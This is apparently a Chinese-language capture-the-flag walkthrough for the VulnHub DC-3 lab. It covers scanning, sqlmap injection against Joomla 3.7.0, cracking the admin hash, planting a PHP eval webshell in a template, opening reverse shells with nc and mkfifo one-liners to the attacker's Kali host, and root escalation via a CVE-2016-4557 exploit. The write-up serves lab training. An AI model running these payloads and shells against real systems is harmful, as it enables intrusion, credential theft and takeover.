一,环境搭建
我们需要一台kali,一台dc-3靶机
靶机DC-3下载地址:
https : //download.vulnhub.com/dc/DC-3.zip
将靶机DC-3与Kali都以NAT模式连接到网络
DC-3需要多修改一些东西 点击CD/DVD 在点击高级,把IDE里面的内容改成IDE 0:0 点击确定。
都完成后开启KALI与DC-3
二、渗透靶场
查看靶场IP 输入ifconfig点击回车可以看到自己的IP
- 目标搭建的靶场,靶场IP为:192.168.186.0/24
-
1.信息收集
查看本机IP和目标靶机ip
使用nmap扫描工具 输入nmap -sP 192.168.186.0/24网段,查找存活主机
扫描到DC-3靶机的IP地址为:192.168.186.131
kali的IP地址为:192.168.186.128
192.168.186.1 vm8网卡
192.168.186.2 网关
192.168.186.131 靶机
192.168.186.254 DHCP服务器
192.168.186.128 kali本机
2.探端口以及服务
输入nmap -A -p- -v 192.168.186.131
可以看到80端口是开放的,存在web服务,Apache/2.4.18
3.网页信息探测
使用火狐打开网页 输入靶机IP地址 访问网址http://192.168.186.131
页面显示必须获得权限
4.joomScan扫描
这里介绍一个新工具joomscan,
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,输入apt install joomscan进行安装,选择y安装
5.漏洞查找
joomscan
输入 joomscan --url http://192.168.186.131
得到joomla版本信息 版本为3.7.0 也得到了网站后台地址
http://192.168.186.131/administrator/
在火狐页面搜索得到的后台地址
6.利用nikto扫描获取后台地址
Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
输入nikto --url http://192.168.186.131/
searchsploit
前面知道joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
输入searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
我们可以看一下这个漏洞的提示信息
输入 searchsploit -m 42033.txt
输入cat 42033.txt 信息如图所示
把localhost修改为我们的靶机IP,到火狐页面去访问
看到提示: 您的SQL语法有错误;说明进行了拼接,存在SQL注入
7.漏洞利用
sqlmap
1.跑出所有数据库
输入sqlmap -u
“http://192.168.186.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”--risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch(注:双引号里的内容是火狐搜索栏里的内容)
跑出来的数据库如下图:
2.获取当前数据库的名字joomladb
输入sqlmap -u
“http://192.168.186.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”--risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-db –batch
3.获取joomladb的users表
输入 sqlmap -u
"http://192.168.186.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
我们需要关注的是#__users这张表
4.获取joomladb的users表的字段名
sqlmap -u
"http://192.168.186.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项是y
第二个输入y
第三个随便输入
第四个输入10
成功跑出六个字段
5.获取目标字段username和password
sqlmap -u "http://192.168.186.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得一个用户名和加密的密码 结果如下图:
John
利用john爆破密码snoopy
先创建一个1.txt,把加密的密码字段写入
输入echo ‘$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu’ > 1.txt 在输入cat 1.txt 就写进去了
7.使用john破解出admin密码
输入John 1.txt 如图所知密码是snoopy
8.利用获取到的账号密码进行登录
在火狐网页搜索上输入http://192.168.186.131/administrator/ 出现登录页面
账号是admin 密码是snoopy
8.上传webshell
点击Extensions,然后弹出一个框,滑倒倒数第二个,点击最后一个。
进入页面,再点击Beez3 Details and Files
然后点击页面中的new files
点击到这里发现可以上传文件,我们先要找到当前文件所在的目录:红色框住的复制
火狐上输入 http://192.168.186.131/templates/beez3/html/(粘贴刚刚复制的)点击回车显示目录
回到刚才的页面 点击new file
在点击html 旁边有两个小框创建一个php文件,名字叫做shell 点击create创建成功
创建成功后,会跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
在火狐上再次访问http://192.168.186.131/templates/beez3/html/
会发现多了一个shell.php文件,我们访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.186.131/templates/beez3/html/shell.php
9.蚁剑
管理webshell
打开蚁剑右键添加数据,地址填写http://192.168.186.131/templates/beez3/html/shell.php
密码填写 a 然后点击测试链接 右下角会显示连接成功
点击添加 在刚刚添加的数据上右键进入虚拟终端执行whoami查询我权限,是www-data权限
反弹shell到kali
输入nc -lvvp 1234
靶机连接 输入
nc -e /bin/bash 192.168.186.128 1234
页面显示-e参数不可用
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.186.128 1234 >/tmp/f
交互式shell
常用的就是python创建交互式shell
接着输入 python3 -c 'import pty; pty.spawn("/bin/bash")' 点击回车,在输入ls
10.使用辅助脚本发现提权漏洞
下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
上传脚本,直接在蚁剑里上传,点击右键,选择上传文件,选择刚刚下好的脚本,点击打开上传成功
输入ls点击回车,发现漏洞 ls -l linux-exploit-suggester.sh
发现没有执行权限,我们给他加个执行文件
输入 chmod +x linux-exploit-suggester.sh
执行脚本 输入./linux-exploit-suggester.sh
发现很多可利用漏洞
11.提权
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
去searchsploit里面去看看
进入root里,输入searchsploit -m 39772.zip
地址跟上面一样也是不能使用的,可以用下面这个地址直接下载。
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
下载好以后,点击蚁剑右键上传文件
提权
解压文件
输入ls 点击回车,在输入unzip 39772.zip
cd 39772
ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
输入ls点击回车
输入./compile.sh 点击回车
输入./doubleput.c点击回车
输入ls点击回车
在输入./doubleput点击回车
执行完如下图,提权成功
获得root权限
输入whoami点击回车如下图
12.发现the-flag.txt
输入cd /root
ls
cat the-flag.txt
完成!